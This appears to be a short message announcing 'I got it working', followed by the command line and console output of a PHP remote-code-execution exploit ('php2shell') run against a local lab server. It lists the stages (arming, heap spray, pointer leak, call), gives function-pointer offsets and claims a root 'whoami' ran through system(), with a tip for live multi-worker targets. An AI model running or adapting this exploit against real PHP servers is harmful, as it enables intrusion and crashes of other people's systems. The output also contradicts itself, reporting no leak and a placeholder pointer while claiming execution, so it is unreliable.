I got it working

python3 exploit.py http://127.0.0.1:8081/index.php --lab --profile low --command 'whoami'
php2shell weapon | profile=low files=20 namelen=1MB spray=150 leak=auto cmd='whoami' attempts=8
stage flow: ARM -> P1 -> SPRAY/LEAK -> CALL (video: arming -> spraying -> leak -> call)
NOTE: final system() is ASLR/leak-gated; no leak -> MARKER crash receipt.
FPM/CGI/LSAPI = DoS-class (worker kill). Use --rearm on live multi-worker.

[arm ] body=25MB
[arm ] status=200 dt=60.10s OOM=False <- need pre-RINIT OOM to orphan

[p1 ] body=4MB
[p1 ] status=200 dt=0.04s OOM=False

[spray] s[]=150 t[]=149 last_dtor=0x4141414141414141 body=1232KB
[spray] status=200 dt=0.02s
[leak] no reflected banner pointer -> MARKER (ungated crash demo)
[call] no leak -> dtor=MARKER (ungated crash/marker receipt)
[call] dtor=0x4141414141414141 zend_call_function=0x4141414141355d51 (dtor-0xBE3F0) t[]=149 cmd='whoami'

[call] attempt 1/8 s[]=150 t[]=149 body=1271KB
[call] status=200 dt=0.02s
[call] EXEC marker (uid=/root:) -> system() ran